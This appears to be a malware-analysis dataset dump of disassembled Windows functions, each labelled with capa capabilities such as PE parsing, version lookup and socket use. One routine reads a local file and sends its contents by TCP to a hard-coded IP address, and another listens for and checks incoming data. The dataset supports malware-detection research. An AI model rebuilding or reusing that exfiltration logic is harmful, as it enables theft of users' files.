joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c6ac
Capabilities:
Check if file exists

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x80
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rdi
mov rax, qword [0x14001cf10]
xor rax, rsp
mov qword [rbp - 8], rax
mov rbx, rdx
mov rdi, rcx
lea rdx, [rbp - 0x18]
lea rcx, str.AutoCAD.Application
call fcn.14000bfe0
test eax, eax
js 0x14000c869
lea rdx, [rbp - 0x30]
lea rcx, [rbp - 0x18]
call qword [sym.imp.ole32.dll_StringFromCLSID]
test eax, eax
js 0x14000c869
lea rcx, [rbp - 0x48]
call qword [sym.imp.mfc110u.dll_Ordinal_296]
nop
lea rdx, str.CLSID_
lea rcx, [rbp - 0x48]
call qword [sym.imp.mfc110u.dll_Ordinal_1661]
mov rdx, qword [rbp - 0x30]
lea rcx, [rbp - 0x48]
call qword [sym.imp.mfc110u.dll_Ordinal_1661]
lea rdx, str.LocalServer32
lea rcx, [rbp - 0x48]
call qword [sym.imp.mfc110u.dll_Ordinal_1661]
mov rcx, qword [rbp - 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
mov dword [rsp + 0x20], 0x20019
lea r9, [rbp - 0x28]
mov r8, qword [rbp - 0x48]
mov rdx, 0xffffffff80000000
lea rcx, [rbp - 0x50]
call qword [sym.imp.utx.dll_public:_static_class_UTxResult___cdecl_UTxPref_Reg::OpenKey_struct_HKEY______ptr64__wchar_t_const____ptr64__struct_HKEY______ptr64____ptr64__unsigned_long_int_]
cmp dword [rbp - 0x50], 0
je 0x14000c782
mov ebx, 0x80004005
jmp 0x14000c85d
lea rcx, [rbp - 0x40]
call qword [sym.imp.mfc110u.dll_Ordinal_296]
nop
mov edx, 0x104
lea rcx, [rbp - 0x40]
call qword [sym.imp.mfc110u.dll_Ordinal_4828]
mov ecx, 0x208
mov word [rsp + 0x20], cx
mov r9, rax
xor r8d, r8d
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
call qword [sym.imp.utx.dll_public:_static_class_UTxResult___cdecl_UTxPref_Reg::Read_struct_HKEY____const___ptr64__wchar_t_const____ptr64__wchar_t____ptr64__unsigned_short_int_]
mov rdx, rax
lea rcx, [rbp - 0x50]
call qword [sym.imp.utx.dll_public:_class_UTxResult____ptr64___cdecl_UTxResult::operator_class_UTxResult_const____ptr64____ptr64]
or edx, 0xffffffff
lea rcx, [rbp - 0x40]
call qword [sym.imp.mfc110u.dll_Ordinal_12073]
mov rdx, qword [rbp - 0x28]
lea rcx, [rbp - 0x38]
call qword [sym.imp.utx.dll_public:_static_class_UTxResult___cdecl_UTxPref_Reg::CloseKey_struct_HKEY______ptr64_]
cmp dword [rbp - 0x50], 0
jne 0x14000c84d
xor r8d, r8d
lea rdx, str.acad.exe
lea rcx, [rbp - 0x40]
call qword [sym.imp.mfc110u.dll_Ordinal_4450]
test eax, eax
js 0x14000c84d
mov r8d, eax
lea rdx, [rbp - 0x38]
lea rcx, [rbp - 0x40]
call qword [sym.imp.mfc110u.dll_Ordinal_7902]
nop
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.mfc110u.dll_Ordinal_1492]
nop
lea rcx, [rbp - 0x38]
call qword [sym.imp.mfc110u.dll_Ordinal_1027]
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.mfc110u.dll_Ordinal_1658]
mov rcx, qword [rbx]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
neg eax
sbb ecx, ecx
not ecx
mov ebx, 0x80004005
and ebx, ecx
jmp 0x14000c852
mov ebx, 0x80004005
lea rcx, [rbp - 0x40]
call qword [sym.imp.mfc110u.dll_Ordinal_1027]
nop
lea rcx, [rbp - 0x48]
call qword [sym.imp.mfc110u.dll_Ordinal_1027]
mov eax, ebx
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14000d430
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14000c88c
Capabilities:
Get file version info

Disassembly:
push rbp
push rsi
push rdi
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x10], 0xfffffffffffffffe
mov qword [rsp + 0x70], rbx
mov rsi, rdx
mov rbx, rcx
lea rcx, [rbp - 0x30]
call qword [sym.imp.mfc110u.dll_Ordinal_296]
nop
lea rdx, [rbp - 0x30]
mov rcx, rbx
call fcn.14000c6ac
mov ebx, eax
test eax, eax
js 0x14000c9a0
lea rdx, [rbp + 0x30]
mov rcx, qword [rbp - 0x30]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov edi, eax
cmp eax, 1
jb 0x14000c927
mov ecx, edi
call fcn.14000ccec
mov rbx, rax
test rax, rax
je 0x14000c927
mov r9, rax
mov r8d, edi
mov edx, dword [rbp + 0x30]
mov rcx, qword [rbp - 0x30]
call sub.VERSION.dll_GetFileVersionInfoW
mov rcx, rbx
test eax, eax
je 0x14000c922
lea r9, [rbp + 0x38]
lea r8, [rbp - 0x20]
lea rdx, str.VarFileInfoTranslation
call sub.VERSION.dll_VerQueryValueW
test eax, eax
jne 0x14000c92e
mov rcx, rbx
call sub.mfc110u.dll_Ordinal_266
mov ebx, 0x80004005
jmp 0x14000c9a0
lea rcx, [rbp - 0x28]
call qword [sym.imp.mfc110u.dll_Ordinal_296]
nop
mov rax, qword [rbp - 0x20]
movzx r9d, word [rax + 2]
movzx r8d, word [rax]
lea rdx, str.StringFileInfo_04x_04xFileVersion
lea rcx, [rbp - 0x28]
call qword [sym.imp.mfc110u.dll_Ordinal_4595]
lea r9, [rbp + 0x38]
lea r8, [rbp - 0x18]
mov rdx, qword [rbp - 0x28]
mov rcx, rbx
call sub.VERSION.dll_VerQueryValueW
test eax, eax
jne 0x14000c97e
mov rcx, rbx
call sub.mfc110u.dll_Ordinal_266
mov ebx, 0x80004005
jmp 0x14000c995
mov rdx, qword [rbp - 0x18]
mov rcx, rsi
call qword [sym.imp.mfc110u.dll_Ordinal_1494]
mov rcx, rbx
call sub.mfc110u.dll_Ordinal_266
xor ebx, ebx
lea rcx, [rbp - 0x28]
call qword [sym.imp.mfc110u.dll_Ordinal_1027]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.mfc110u.dll_Ordinal_1027]
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000cf90
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x30
xor r15d, r15d
mov dword [rax - 0x18], r15d
call qword [sym.imp.MSVCR110.dll___crtGetShowWindowMode]
movzx r14d, ax
mov rcx, qword gs:[0x30]
mov rdx, qword [rcx + 8]
mov esi, r15d
xor eax, eax
lock cmpxchg qword [0x14001e688], rdx
je 0x14000cfe7
cmp rax, rdx
jne 0x14000cfe5
mov ebx, 1
mov esi, ebx
jmp 0x14000cfec
jmp 0x14000cfca
mov ebx, 1
mov eax, dword [0x14001e690]
cmp eax, ebx
jne 0x14000d004
mov edi, 0x1f
mov ecx, edi
call sub.MSVCR110.dll__amsg_exit
jmp 0x14000d040
mov eax, dword [0x14001e690]
test eax, eax
jne 0x14000d035
mov dword [0x14001e690], ebx
lea rdx, [0x14000fc10]
lea rcx, [0x14000fbf0]
call sub.MSVCR110.dll__initterm_e
test eax, eax
je 0x14000d03b
mov eax, 0xff
jmp 0x14000d16b
mov dword [0x14001dfbc], ebx
mov edi, 0x1f
mov eax, dword [0x14001e690]
cmp eax, ebx
jne 0x14000d067
lea rdx, [0x14000fbe8]
lea rcx, [0x14000fb88]
call sub.MSVCR110.dll__initterm
mov dword [0x14001e690], 2
test esi, esi
jne 0x14000d075
mov rax, r15
xchg qword [0x14001e688], rax
cmp qword [0x14001e6a8], r15
je 0x14000d0a0
lea rcx, [0x14001e6a8]
call fcn.14000d840
test eax, eax
je 0x14000d0a0
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x14001e6a8]
call rax
mov rax, qword [sym.imp.MSVCR110.dll__wcmdln]
mov rcx, qword [rax]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000d11c
cmp word [rcx], r15w
je 0x14000d0c3
test edx, edx
jne 0x14000d11c
movzx eax, word [rcx]
sub ax, bx
cmp ax, di
ja 0x14000d0d9
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000d0c3
movzx r9d, r14w
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.14000abf8
mov dword [0x14001dfb8], eax
cmp dword [0x14001dfd8], r15d
jne 0x14000d105
mov ecx, eax
call qword [sym.imp.MSVCR110.dll_exit]
cmp dword [0x14001dfbc], r15d
jne 0x14000d11a
call qword [sym.imp.MSVCR110.dll__cexit]
mov eax, dword [0x14001dfb8]
jmp 0x14000d16b
cmp word [rcx], 0x22
jne 0x14000d130
mov eax, r15d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14000d0b3
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
add rsp, 0x30
pop r15
ret
sub rsp, 0x28
call fcn.14000d8c0
add rsp, 0x28
jmp 0x14000cf90
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140005460]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140005470]
mov dword [rax], 1
mov rax, qword [0x140005480]
mov dword [rax], 1
mov rax, qword [0x140005410]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140005450]
mov dword [0x14000900c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140005520]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140005500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400053c0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a
Function at 0x14000154e
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Read and send data from client to server
Read file on windows
Send data
Send data on socket

Disassembly:
push rbp
sub rsp, 0x1f0
lea rbp, [rsp + 0x80]
lea rax, str.data
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x168]
lea rdx, [0x140005055]
mov rcx, rax
call sym.fopen
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x160]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp + 0x160]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x160]
mov rcx, rax
call sym.rewind
mov rax, qword [rbp + 0x158]
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x150], rax
mov rcx, qword [rbp + 0x160]
mov rdx, qword [rbp + 0x158]
mov rax, qword [rbp + 0x150]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp + 0x160]
mov rcx, rax
call sym.fclose
lea rax, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x148], rax
mov word [rbp - 0x60], 2
mov ecx, 0x1bb4
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x5e], ax
lea rax, str.192.168.70.247
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp - 0x5c], eax
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x148]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
mov rax, qword [rbp + 0x158]
mov ecx, eax
mov rdx, qword [rbp + 0x150]
mov rax, qword [rbp + 0x148]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_send]
call rax
mov rax, qword [rbp + 0x148]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x1f0
pop rbp
ret
Function at 0x140001ce4
Capabilities:
Create tcp socket
Create udp socket
Initialize winsock library
Receive data
Receive data on socket
Start tcp server

Disassembly:
push rbp
push rdi
sub rsp, 0x608
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3ac], 0x10
lea rdx, [rbp - 0x60]
mov eax, 0
mov ecx, pe_nt_image_headers64
mov rdi, rdx
rep stosq qword [rdi], rax
lea rax, [rbp + 0x3d0]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
je 0x140001d39
mov eax, 1
jmp 0x140001ed5
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp + 0x578], rax
cmp qword [rbp + 0x578], 0xffffffffffffffff
jne 0x140001d6d
mov eax, 1
jmp 0x140001ed5
mov word [rbp + 0x3c0], 2
mov dword [rbp + 0x3c4], 0
mov ecx, 0xd36
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x3c2], ax
lea rdx, [rbp + 0x3c0]
mov rax, qword [rbp + 0x578]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_bind]
call rax
cmp eax, 0xffffffff
jne 0x140001dd7
mov rax, qword [rbp + 0x578]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov eax, 1
jmp 0x140001ed5
mov rax, qword [rbp + 0x578]
mov edx, 0x7fffffff
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_listen]
call rax
cmp eax, 0xffffffff
jne 0x140001e11
mov rax, qword [rbp + 0x578]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov eax, 1
jmp 0x140001ed5
lea rcx, [rbp + 0x3ac]
lea rdx, [rbp + 0x3b0]
mov rax, qword [rbp + 0x578]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_accept]
call rax
mov qword [rbp + 0x570], rax
cmp qword [rbp + 0x570], 0xffffffffffffffff
jne 0x140001e60
mov rax, qword [rbp + 0x578]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov eax, 1
jmp 0x140001ed5
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0x570]
mov r9d, 0
mov r8d, 0x400
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov rax, qword [rbp + 0x570]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [rbp + 0x578]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
lea rax, [rbp - 0x60]
lea rdx, [0x14000506a]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x140001ed0
mov eax, 1
jmp 0x140001ed5
mov eax, 0
add rsp, 0x608
pop rdi
pop rbp
ret

Function at 0x140002290
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x140002300
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140009104]
mov rbx, rcx
test esi, esi
jle 0x140002430
mov rax, qword [0x140009108]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x14000234b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400023d5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140002330
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140002452
mov rax, qword [0x140009108]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140009108]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002437
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400023ce
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400023e0
add dword [0x140009104], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140009108]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400023ce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140002358
mov rax, qword [0x140009108]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400029c0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140009160]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140009140]
test rbx, rbx
je 0x140002a1c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002a13
test rsi, rsi
je 0x140002a13
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400029f8
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002c30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002c48
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002c50
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x140002c60
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x140002cad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002ca4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140002caf
add rax, 0x28
cmp rax, r9
jne 0x140002c90
xor eax, eax
ret

Function at 0x140002cb0
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002d40
mov rdx, qword [0x140005410]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002d2e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002d2e
cmp word [rax + 0x18], 0x20b
jne 0x140002d2e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002d40
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002d19
add rbx, 0x28
cmp rbx, rdi
je 0x140002d40
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002d10
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x140002d50
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002d70
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002d78
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002d70
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002dcd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002dc4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002d70
add rax, 0x28
cmp rax, r9
jne 0x140002db0
xor eax, eax
ret

Function at 0x140002dd0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002def
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002df8
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002def
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002e10
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x140005410]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002e30
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002e38
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002e30
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002e80
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002e77
test rcx, rcx
je 0x140002e30
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002e68
xor eax, eax
ret
Function at 0x140002e90
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140005410]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140002eaf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002eb8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002ed0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140005410]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002ef0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002ef8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002ef0
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002ef0
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002f44
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002f50
add rdx, 0x28
cmp r9, rdx
jne 0x140002f30
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002f60
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x140005410]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002f82
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002f90
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002f82
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002f82
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x140002f82
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002fe5
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002ff8
add rdx, 0x28
cmp rdx, r10
jne 0x140002fd0
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140003007
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140003017
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002fee
test ecx, ecx
jg 0x140003000
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x14004b390
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14004b39d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14004b3ad
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14004b395
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14004b3c5
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14004b3b2
sub eax, 3
jb 0x14004b3df
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14004b416
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14004b406
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14004b404
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14004b3f3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14004b352
jmp 0x14004b39d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x29000
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14004b462
cmp rsi, rcx
jae 0x14004b46a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14004b449
cmp al, 0x8f
ja 0x14004b449
cmp byte [rsi - 2], 0xf
je 0x14004b44f
sub al, 0xe8
cmp al, 1
ja 0x14004b433
cmp rsi, rcx
jae 0x14004b46a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14004b439
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14004b46a
lodsb al, byte [rsi]
jmp 0x14004b449
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x49000]
mov eax, dword [rdi]
or eax, eax
je 0x14004b4d3
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x4b56c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14004b477
jns 0x14004b4ac
movzx rdx, word [rdi]
add rdi, 2
jmp 0x14004b4b6
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
